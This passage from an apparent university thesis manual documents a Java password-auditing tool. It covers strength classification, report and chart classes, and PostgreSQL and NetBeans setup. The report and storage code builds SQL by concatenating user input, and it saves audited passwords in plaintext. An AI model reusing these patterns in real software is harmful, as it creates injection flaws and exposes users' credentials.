auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"Es una palabra de diccionario"+'\n'+"EL PASSWORD ES TOTALMENTE INSEGURO..CAMBIARLO DE INMEDIATO"; validador=10;

aux_seguridad="10%"; } // 15% if (longitud_password <= 4 && contador_mayusculas ==0 && contador_números ==0 && contador_especiales ==0 && diccionario==false ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"No es una palabra de diccionario"+'\n'+"EL PASSWORD ES TOTALMENTE INSEGURO..CAMBIARLO DE INMEDIATO"; validador=15;

aux_seguridad="15%"; } ……

Page 138: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

123

La siguiente función permitirá guardar los datos generados en la pantalla de

análisis en la base de datos del sistema:

Gráfico No. 72 Boton_guardar

Permite Guardar los datos

Clase reporte.java

Esta clase me permitirá enlistar los datos de la base de datos de acuerdo a

criterios de consulta ingresados por el usuario, como son:

• Reporte por ip

• Reporte por vigencia de los passwords (vigentes, expirados)

private void boton_guardar_log1ActionPerformed(java.awt.event.ActionEvent evt) { //aki ya guardamos en la base de datos Fecha time1 = new Fecha(); String fecha_sistema_1 = time1.getFecha(); Reloj clock1 =new Reloj(); String hora_sistema_1 = clock1.getHora(); try{// inicio try 1 Connection connection2 = ACCESS.ObtenerConexion(); Statement statement2 = connection2.createStatement(); for(int h = 0; h < usuarios.length;h++){// inicio for 1 if(usuarios[h]!=null) { String SQL1= "INSERT INTO reporte(direccion,usuario,password,tipo_usuario,análisis,estado,fecha,hora,seguridad) values ('"+ip_final_1+"','"+usuarios[h]+"','"+passwords[h]+"','"+servicios[h]+"','"+análisis_passwords[h]+"','"+expirados[h]+"','"+fecha_sistema_1+"','"+hora_sistema_1+"','"+seguridad[h]+"')"; o = statement2.executeUpdate(SQL1); } }// fin for 1 if (o==0) { Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.JPG","no se pudo ingresar a la base de datos","consulte con la ayuda del sistema","gracias"); }else{ Msg a=new Msg("aviso","/root/hacking_etico/imagenes/escudo_u.jpg","la actualizacion de la base","se realizo con exito","gracias por usar nuestro programa.."); connection2.commit(); statement2.close(); } }catch(Exception e){ msg a=new msg("aviso","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar el almacenamiento en la base de datos","consulte con la ayuda del sistema","gracias"); }// fin try 1 }

Page 139: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

124

• Reporte por fecha

• Reporte por nivel de seguridad (bajo, medio, alto)

• Reporte general (todos los datos de la tabla)

A continuación se detalla la función de reporte private void

botonipActionPerformed(java.awt.event.ActionEvent evt), la cual ejecuta

el reporte según la dirección IP ingresada al sistema, las demás consultas

tienen similar codificación varia solo el parámetro de consulta y la función

select.

Gráfico No. 73 Reporte

Realiza el reporte según el IP ingresado

public class reporte extends javax.swing.JFrame { public reporte() { initComponents(); } private void botonipActionPerformed(java.awt.event.ActionEvent evt) { consulta_final =""; k=0; j=0; for (int i = 0; i < 998; i++) { for(int j=0;j<=8;j++){ tabla_resultados_passwd1.setValueAt("",i,j); } } try{ consulta_final = JOptionPane.showInputDialog("Ingrese la IP a ser consultada-->"); Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); String SQL = "select * from reporte where direccion = '"+consulta_final+"'"; ResultSet resultset = statement.executeQuery(SQL); for(resultset=statement.executeQuery(SQL);resultset.next();) { tabla_resultados_passwd1.setValueAt(resultset.getString("direccion"),k,j); tabla_resultados_passwd1.setValueAt(resultset.getString("usuario"),k,j+1); tabla_resultados_passwd1.setValueAt(resultset.getString("password"),k,j+2); tabla_resultados_passwd1.setValueAt(resultset.getString("tipo_usuario"),k,j+3); tabla_resultados_passwd1.setValueAt(resultset.getString("análisis"),k,j+4); tabla_resultados_passwd1.setValueAt(resultset.getString("seguridad"),k,j+5); tabla_resultados_passwd1.setValueAt(resultset.getString("estado"),k,j+6); tabla_resultados_passwd1.setValueAt(resultset.getString("fecha"),k,j+7); tabla_resultados_passwd1.setValueAt(resultset.getString("hora"),k,j+8); k++; } connection.commit();

statement.close(); Msg a=new Msg("mensaje", “consulta exitosa, gracias por usar nuestro programa.."); }catch(Exception e){ …..

Page 140: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

125

Clase estadistica.java

Si el usuario lo desea, se puede visualizar los reportes como gráficos, el

usuario ingresará un parámetro de consulta, el cual puede ser por IP o nivel

de seguridad, entonces se ejecuta la función que ejecuta el gráfico de los

datos, para mostrarlos por pantalla, para darle la interpretación de una

manera más cómoda y más agradable de los resultados obtenidos.

Se coloca en el cuadro solo un modo de graficación, a manera de ejemplo,

los tipos de gráficos soportados por el sistema son de tipo barra y pastel.

La función trabaja recibiendo el parámetro de consulta que el usuario haya

ingresado por pantalla, realiza la consulta a la base de datos, si hubo éxito se

despliegan los gráficos del modo que el usuario haya escogido. La función se

encarga automáticamente de ordenar los datos y desplegarlos en cuadros

gráficos estadísticos.

Gráfico No. 74 Clase Estadística

Permite realizar una consulta según la IP ingresada

public class estadistica extends javax.swing.JFrame { public estadistica() { System.gc(); initComponents(); } private void b_vig_ip1ActionPerformed(java.awt.event.ActionEvent evt) { consulta_1 = JOptionPane.showInputDialog("Ingrese la IP a ser consultada-->"); pop= new crea_3d_vig_ip(consulta_1); pop.pack(); RefineryUtilities.centerFrameOnScreen(pop); pop.setVisible(true); }

Page 141: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

126

En el cuadro que tenemos a continuación, se muestra una clase que genera

gráficos tipo pie chart, realiza la consulta a la base de datos, en este caso

según la IP que se ingrese, se mostrará el nivel de seguridad, luego la clase

ordena los resultados obtenidos, y despliega el gráfico respectivo.

Gráfico No. 75 Crea3d

Código que genera grafico tipo pie char

public class crea_3d extends ApplicationFrame implements WindowListener{ public crea_3d(String ip_consulta) { super("ESTADISTICAS DE SEGURIDAD POR IP"); IP = ip_consulta; PieDataset dataset = createSampleDataset(); JFreeChart chart = createChart(dataset); ChartPanel chartPanel = new ChartPanel(chart); chartPanel.setPreferredSize(new java.awt.Dimension(500, 270)); setContentPane(chartPanel); } private PieDataset createSampleDataset() { try{ System.out.flush(); long time = System.nanoTime(); long time_estimado = System.nanoTime() - time; System.out.println( "Tiempo estamado--> " + String.valueOf(time)); Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); Statement statement2 = connection.createStatement(); Statement statement3 = connection.createStatement(); String SQL_1 = "select count(análisis) from reporte where análisis = 'bajo' and direccion ='"+ip+"'"; String SQL_2 = "select count(análisis) from reporte where análisis = 'medio' and direccion ='"+ip+"'"; String SQL_3 = "select count(análisis) from reporte where análisis = 'alto' and direccion ='"+ip+"'"; ResultSet resultset_1 = statement.executeQuery(SQL_1); ResultSet resultset_2 = statement2.executeQuery(SQL_2); ResultSet resultset_3 = statement3.executeQuery(SQL_3); if(resultset_1.next()){ bajo = resultset_1.getFloat("count"); } if(resultset_2.next()) { medio = resultset_2.getFloat("count"); } if(resultset_3.next()){ alto = resultset_3.getFloat("count"); } suma = alto + medio + bajo; y_bajo= ((float)bajo * 100F / (float)suma); y_medio= ((float)medio * 100F / (float)suma); y_alto= ((float)alto * 100F / (float)suma); connection.close(); statement.close(); statement2.close(); statement3.close(); }catch (Exception e){ System.out.println("HA HABIDO UN ERROR ......"+e); } DefaultPieDataset result = new DefaultPieDataset(); result.setValue(String.valueOf(y_bajo)+" % BAJOS",y_bajo); result.setValue(String.valueOf(y_medio)+" % MEDIOS", y_medio); result.setValue(String.valueOf(y_alto)+" % ALTOS", y_alto); return result; } private JFreeChart createChart(PieDataset dataset) { JFreeChart chart = ChartFactory.createPieChart3D( "ESTADISTICA DE SEGURIDAD POR IP", // chart title dataset, true, true, false ); PiePlot3D plot = (PiePlot3D) chart.getPlot(); plot.setStartAngle(290); plot.setDirection(Rotation.CLOCKWISE); plot.setForegroundAlpha(0.5f); plot.setNoDataMessage("NO HAY DATOS QUE MOSTRAR.."); return chart; }

Page 142: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

127

A continuación la clase que tiene similares funciones que la anterior

mostrada, pero grafica en forma de barras, en este caso, el nivel de

seguridad (bajo, medio, alto) por ip.

Grafico No. 76 bar_3d

Código que genera gráficos dependiendo el nivel de seguridad

public class bar_3d_ip extends ApplicationFrame { public bar_3d_ip(String ip_final) { super("ESTADISTICAS DE SEGURIDAD DE PASSWRODS POR IP"); IP = ip_final; CategoryDataset dataset = createDataset(); JFreeChart chart = createChart(dataset); ChartPanel chartPanel = new ChartPanel(chart, false); chartPanel.setPreferredSize(new Dimension(500, 270)); setContentPane(chartPanel); } private static CategoryDataset createDataset() { try{ Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); Statement statement2 = connection.createStatement(); Statement statement3 = connection.createStatement(); String SQL_1 = "select count(análisis) from reporte where análisis = 'bajo' and direccion ='"+ip+"'"; String SQL_2 = "select count(análisis) from reporte where análisis = 'medio' and direccion ='"+ip+"'"; String SQL_3 = "select count(análisis) from reporte where análisis = 'alto' and direccion ='"+ip+"'"; ResultSet resultset_1 = statement.executeQuery(SQL_1); ResultSet resultset_2 = statement2.executeQuery(SQL_2); ResultSet resultset_3 = statement3.executeQuery(SQL_3); if(resultset_1.next()){ bajo = resultset_1.getFloat("count"); } if(resultset_2.next()){ medio = resultset_2.getFloat("count"); } if(resultset_3.next()){ alto = resultset_3.getFloat("count"); } float suma = alto + medio + bajo; y_bajo= ((float)bajo * 100F / (float)suma); y_medio= ((float)medio * 100F / (float)suma); y_alto= ((float)alto * 100F / (float)suma); connection.close(); statement.close(); statement2.close(); statement3.close(); }catch (SQLException e){ System.out.println("no se pudo ......"+e); } DefaultCategoryDataset result = new DefaultCategoryDataset(); result.setValue(y_bajo, String.valueOf(y_bajo)+" % BAJOS","bajos"); result.setValue(y_medio, String.valueOf(y_medio)+" % MEDIOS","medios"); result.setValue(y_alto, String.valueOf(y_alto)+" % ALTOS","altos"); return result; } private static JFreeChart createChart(CategoryDataset dataset) { JFreeChart chart = ChartFactory.createBarChart("Grafico de estadisticas de seguridad por IP", "IP", "Porcentajes", dataset, PlotOrientation.VERTICAL, true, true, false ); chart.setBackgroundPaint(Color.white); CategoryPlot plot = chart.getCategoryPlot(); plot.setBackgroundPaint(Color.lightGray); plot.setDomainGridlinePaint(Color.white); plot.setDomainGridlinesVisible(true); plot.setRangeGridlinePaint(Color.white); final NumberAxis rangeAxis = (NumberAxis) plot.getRangeAxis(); rangeAxis.setStandardTickUnits(NumberAxis.createIntegerTickUnits()); BarRenderer renderer = (BarRenderer) plot.getRenderer(); renderer.setDrawBarOutline(false); GradientPaint gp0 = new GradientPaint(0.0f, 0.0f, Color.blue, 0.0f, 0.0f, new Color(0, 0, 64)); GradientPaint gp1 = new GradientPaint(0.0f, 0.0f, Color.green, 0.0f, 0.0f, new Color(0, 64, 0)); GradientPaint gp2 = new GradientPaint(0.0f, 0.0f, Color.red, 0.0f, 0.0f, new Color(64, 0, 0)); renderer.setSeriesPaint(0, gp0); renderer.setSeriesPaint(1, gp1); renderer.setSeriesPaint(2, gp2); CategoryAxis domainAxis = plot.getDomainAxis(); domainAxis.setCategoryLabelPositions(CategoryLabelPositions.createUpRotationLabelPositions( Math.PI / 6.0)); return chart; }

Page 143: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

128

Si se desea agregar más gráficos al proyecto o mejorar los existentes,

remítase al apartado de manejo de gráficos que esta detallado en este

manual.

A continuación se presentan configuraciones adicionales necesarias para

que el proyecto funcione de una manera correcta y sin problemas.

Este tipo de configuraciones que se muestran a continuación, fueron

realizadas por nosotros sin ningún tipo de inconveniente, si se desean más

detalles aparte de los proporcionados por nosotros, se puede buscar en

Internet cualquier manual sobre el tema en particular, con los pasos que se

detallan aquí deberá bastar para poder trabajar con el proyecto.

Configuraciones Adicionales

Como configurar la base de datos postgre del proyecto

A continuación se muestran los pasos de configuración de la base de datos

del proyecto, cualquier referencia más detallada del tema se lo puede hacer

en los manuales de NetBeans proporcionados en el proyecto.

Si se desea modificar algún parámetro de la base de datos se puede seguir

este procedmiento, sino no es necesario, la base se ejecuta apenas se

levante el programa, pero vale la pena leer lo siguiente:

Page 144: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

129

Pasos para la instalación y configuración de PostgreSQL para Linux

• Verificar si está instalado los siguientes paquetes

# rpm – qa | grep postgres

postgreSQL-server

php-pgSQL

http://rpmfind.net/linux/rpm2html/search.php?query=php-pgSQL

php-pgSQL es el rpm

php-pgSQL-5.1.2-5.i386.rpm

• Después de instalar todos los paquetes solicitados reiniciar el servicio en

un terminal

# service postgreSQL restart

• Añadir un grupo llamado postgres en un terminal

# groupadd postgres

• Creamos un usuario postgres en un terminal

# useradd -g postgres postgres

password

passwd postgres

• Nos autenticamos como usuario postgres en un terminal y creamos la

base de datos

# su – postgres

$ createdb MiBase

Page 145: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

130

$ service postgreSQL restart

• Hacemos una prueba en un terminal para verificar si existe conexión con

la Base

$ pSQL -U postgres MiBase

Gráfico No. 77 Verificar Conexión

Se realiza pruebas para verificar la conexión con la Base postgres

• Si tienes todo hasta allí ya término la parte de texto ahora viene

Netbeans.

• Tenemos que verificar si tenemos el Driver instalado en nuestra PC: ls

/usr/share/java/postgreSQL.jar

Si no es así tenemos que conseguir el postgreSQL.jar

Este driver se anexa en los utilitarios del proyecto, se llama:

postgreSQL-8.1-408.jdbc2ee.jar

Page 146: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

131

Agregar a NetBeans un conector de la base de datos

Conector a la Base de Datos

Para que una aplicación en Java se comunique con una base de datos

usando la API ODBC, se requiere de un conector que comunique a la

aplicación con la base de datos.

Ese conector es específico para el manejador de base de datos y viene en la

forma de n archivo “.jar” o “.zip”. Por ejemplo el conector para la base de

datos Postgres, está en el archivo: postgres-connector-java-3.1.XX.jar

Este conector debe incluirse en el archivo JAR de despliegue de la

aplicación. NetBeans nos permite realizar dos tareas relacionadas con las

bases de datos:

1. Conectar a una aplicación a una base de datos.

2. Conectar a NetBeans directamente a una base de datos para crear,

eliminar, modificar tablas, agregar, eliminar, modificar renglones y realizar

consultas.

Page 147: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

132

Conexión de una Aplicación a una Base de Datos

Para conectar a una aplicación a una base de datos, se requiere:

1. Agregarle a NetBeans el conector como una biblioteca. Esto permite que

el conector esté disponible para los proyectos.

2. Agregarle a un proyecto el conector. Esto permite que la aplicación se

pueda conectar a la base de datos.

Agregar a NetBeans un Conector a una Base de Datos

El procedimiento para agregarle a NetBeans un conector a una base de

datos, en este caso Postgres, es el siguiente:

1. Seleccione la opción Tools/Library Manager de la barra de menú de

NetBeans

Gráfico No. 78 Tools/Library Manager

Page 148: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

133

2. Aparece un cuadro de diálogo que nos permite administrar las bibliotecas

de NetBeans.

Grafico No. 79 Library Manager

3. Del lado izquierdo del cuadro de diálogo, aparece un recuadro con las

bibliotecas agregadas a NetBeans. Del lado derecho aparece el nombre

de la biblioteca y la trayectoria del archivo con la biblioteca. Para agregar

el conector a Postgres a NetBeans presione el botón New Library…. Al

hacerlo aparece el cuadro siguiente:

Gráfico No. 80 New Library

Page 149: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

134

4. En este cuadro estableceremos el nombre que le daremos al conector,

Postgres en este caso, y presionamos el botón OK. NetBeans cierra el

cuadro de diálogo, regresándonos al cuadro de diálogo del administrador

de bibliotecas, donde presionaremos el botón Add JAR/Fólder….

Gráfico No. 81 Library Manager

5. Aparece un cuadro de diálogo, en la figura mostrada abajo, que nos

permite seleccionar el archivo que contiene al conector a Postgres:

postgres-connector-java-3.1.7-bin.jar, en este caso. Lo seleccionamos

y presionamos el botón Add JAR/Fólder.

Gráfico No. 82 Browse JAR/Folder

Page 150: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

135

6. Regresamos al administrador de bibliotecas en donde aparece el conector

agregado. Para confirmar presionamos el botón OK.

Gráfico No. 83 Library Manager

Agregar a un Proyecto un Conector a una Base de Datos

El procedimiento para agregarle a un proyecto un conector a una base de

datos, en este caso Postgres, es el siguiente:

1. Expanda el nodo Libraries (bibliotecas) del proyecto al que se le va a

agregar el conector para ver las bibliotecas que tiene agregadas:

Gráfico No. 84 Nodo Libraries

Page 151: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

136

2. Haga clic con el botón derecho sobre el nodo Libraries del proyecto y

seleccione la opción Add Library … del menú emergente.

Gráfico No. 85 Add Library

3. Aparece un cuadro de diálogo para seleccionar la biblioteca a agregar el

conector a Postgres. Lo seleccionamos y presionamos el botón.

Gráfico No. 86 Add Library

Page 152: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

137

4. El cuadro de diálogo desaparece y veremos que el conector se ha

agregado al nodo Libraries en el árbol del proyecto.

Gráfico No. 87 Conector Agregado

Conexión de NetBeans a una Base de Datos

Para conectar a una aplicación a una base de datos, se requiere:

1. Instalar en NetBeans el conector a la base de datos.

2. Establecer la conexión entre NetBeans y la base de datos.

Page 153: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

138

Instalación en Netbeans del Conector a la Base de Datos

El procedimiento para instalar en NetBeans el conector a la base de datos,

en este caso Postgres, es el siguiente:

1. En la ventana Runtime expanda los nodos Databases y Drivers para ver

los conectores disponibles y las conexiones a las bases de datos.

Gráfico No. 88 Ventana Runtime

2. Para agregar el conector de Postgres, haga clic con el botón derecho en

el nodo Drivers y seleccione la opción Add Driver del menú emergente.

Gráfico No. 89 Agregar Conector

Page 154: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

139

3. Aparecerá el cuadro de diálogo para agregar un conector. Presione el

botón Add.

Gráfico No. 90 Cuadro de dialogo Agregar Conector

4. En el cuadro de diálogo para seleccionar el conector, navegue hasta la

ubicación del conector, selecciónelo y presione el botón Abrir.

Gráfico No. 91 Seleccionar conector

Page 155: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

140

5. En el cuadro de diálogo para agregar el conector aparecerá la información

del conector seleccionado. Para confirmar presione el botón OK.

Gráfico No. 92 Información del conector

6. Un nuevo nodo para el conector a Postgres, aparecerá en la ventana

Runtime.

Gráfico No. 93 Conector Postgres en Ventana Runtime

Page 156: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

141

Conexión de NetBeans a la Base de Datos

El procedimiento para conectar a NetBeans a la base de datos es el

siguiente:

1. Haz clic con el botón derecho sobre el nodo del conector a PostgreSQL

Gráfico No. 94 Conexión a la Base de datos

2. Selecciona la opción Connect Using…, del menú emergente. Aparecerá

un cuadro de diálogo para establecer una conexión nueva. Establezca el

URL de la base de datos, Database URL:, en el formato:

jdbc:postgres://servidor:puerto/baseDatos

Donde servidor es la dirección IP (o nombre de dominio del servidor), en

caso que el servidor esté en la misma computadora que NetBeans utiliza

el nombre: localhost; puerto es el puerto empleado por el servidor. Si el

servidor utiliza el puerto predefinido, se puede omitir; baseDatos es la

base de datos a la que se desea conectar. Establezca el nombre del

Page 157: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

142

usuario, User Name:, y contraseña, Password:, para acceder a la base de

datos y presione el botón OK.

Gráfico No. 95 Conexión a Nueva Base de Datos

3. Aparecerá el recuadro que se muestra en la figura de abajo, confirmando

que se estableció la conexión. Confirme, presionando el botón OK.

Gráfico No. 96 Confirmando conexión

Page 158: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

143

4. En la ventana Runtime, aparecerá un nuevo nodo con la conexión a la

base de Datos.

Gráfico No. 97 conexiones a la Base de datos

Acceso a la base de datos desde NetBeans

NetBeans nos permite realizar operaciones sobre la base de datos como

crear y borrar tablas, agregar y eliminar columnas, agregar, modificar y

eliminar renglones, realizar consultas, etc. Para hacer estas operaciones

expanda el nodo con la conexión a la base de datos para que aparezcan

nodos con las tablas, vistas y procedimientos.

Si expandimos el nodo Tables, veremos un nodo por cada una de las tablas

en la base de datos. Si expandimos un nodo de una tabla, aparecerán las

columnas de esa tabla,

Page 159: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

144

Gráfico No. 98 Conectores y Tabla

Se puede apreciar el conector a la Base de datos y las tablas que posee la

Base, con sus respectivos campos y propiedades

Si hacemos clic con el botón derecho en uno de esos nodos: tablas o

columnas, aparecerá un menú emergente con las operaciones que podemos

realizar. Por ejemplo al hacer clic con el botón derecho en un nodo de una

tabla aparecerá un menú emergente como el que se muestra a continuación:

Page 160: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

145

Gráfico No. 99 Operaciones con Tablas

Menú que muestra las diferentes operaciones que se pueden realizar

con las tablas

Para crear una tabla seleccionaremos la opción Create Table …. Aparecerá

un cuadro de diálogo para capturar la información requerida para crear la

tabla. Al terminar presione el botón OK.

Gráfico No. 100 Creación de Tablas

Se puede apreciar la creación de tablas

Page 161: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

146

Para ejecutar un comando (inserción, borrado, actualización, etc.), seleccione

la opción Execute Command…, NetBeans abrirá en el editor una ventana en

la que teclearemos el comando SQL, (ver la figura)

Gráfico No. 101 Comando SQL

Se puede ingresar código SQL para manipular la tabla

Para ejecutar el comando se hace clic en el icono Run SQL.

Gráfico No. 102 Ejecutar Código SQL

Podemos ver los datos de una tabla seleccionando la opción View Data, con

lo que NetBeans abre una ventana con el comando para consultar la tabla y

en la parte inferior muestra el resultado de la consulta, como se muestra a

continuación:

Page 162: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

147

Gráfico No. 103 View Data

Se puede visualizar los datos de la tabla

Este procedimiento esta explicado con una instalación y conexión de una

base de datos Postgres, en general, este es el procedimiento que funciona

en la mayoría de las bases de datos, y con seguridad con la base de datos

del proyecto (postgre).

Una vez creada la base, podemos seguir con lo que viene a continuación,

dejando que sea NetBeans el encargado de manipular la base, sin embargo,

existe un manager que se incluye en el proyecto, llamado:

pgadmin3-1.6.2-1.i686.rpm

El cual me permite implementar tablas, crear campos y demás. Este paquete

para su instalación puede traer problemas de dependencias, por lo cual si se

opta por esta opción se recomienda hacer una instalación vía yum del

paquete.

Page 163: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

148

No existe ningún problema si no se lo hace por medio de esta herramienta,

NetBeans se encarga de hacer de “manager” para crear tablas y campos,

además de claves primarias y foráneas a nuestra base de datos, y soporta

lenguaje SQL casi todas las sentencias, pero al momento de crear campos

tipo “auto numérico” tomemos en cuenta lo siguiente: Si queremos de pronto,

crear un campo tipo autosequence, hacerlo en NetBeans no es sencillo, y es

que una de las limitantes de la base de datos postgre es que tiene tipos de

datos muy comunes (int, char, varchar, int2, int4, etc), esto en NetBeans no

se puede manejar, es decir, NetBeans no te permite setear como tipo de dato

SERIAL o auto numérico a un campo en particular. Esto por lo general se da

en los campos que son únicos (claves primarias)

Este tipo de inconveniente se puede corregir siguiendo este ejemplo:

CREATE TABLE nombre_tabla (

nombre_tabla_id SERIAL,

otro_campo CHAR(1) DEFAULT 'S',

otro_campo2 VARCHAR(48) NOT NULL,

PRIMARY KEY ( nombre_tabla_id )

);

Gráfico No. 104 Creación de tabla

Creación de tabla con tipos auto numérico

Page 164: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

149

Lo que quiere decir esto, es que, podemos ejecutar sentencias SQL en una

consola de NetBeans como se detalla más abajo, y ejecutar la creación de la

tabla como esta allá arriba detallado, pero una solución más sencilla sería:

Crear la tabla, pero sin sus campos auto numéricos, estos dejarlos al final.

Una vez ya creada la tabla, se creará de manera manual, por medio de una

consola de NetBeans, el campo auto numérico como sigue:

ALTER TABLE nombre_tabla ADD COLUMN nombre_tabla_id SERIAL;

ALTER TABLE <nombre_tabla> ADD CONSTRAINT pk_nombre_tabla_id

PRIMARY KEY (nombre_tabla_id);

Gráfico No. 105 Modificar la tabla

Se modifica el tipo de dato a serial

Es decir, se ha añadido un campo para la clave primaria, y este se lo coloca

tipo SERIAL, luego se añade el constraint respectivo. Como ejemplo, si

queremos añadir un campo id_ip a una tabla llamada registro_ips, será:

ALTER TABLE registro_ips ADD COLUMN id_ip SERIAL;

ALTER TABLE registro_ips add constraint pk_id_ip primary key (id_ip);

Gráfico No. 106 Clave Primaria

Page 165: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

150

Con los manuales de SQL entregados con el proyecto, se puede realizar

cualquier operación sobre la tabla, por medio del manager Pgadmin o por

NetBeans, ya que los dos soportan sentencias de consulta y modificación de

SQL

Manejo de gráficos con JfreeChart

Este fue el procedimiento que se realizo para añadir las librerías de los

gráficos del proyecto, y se anexa un manual Standard de procedimiento. Hay

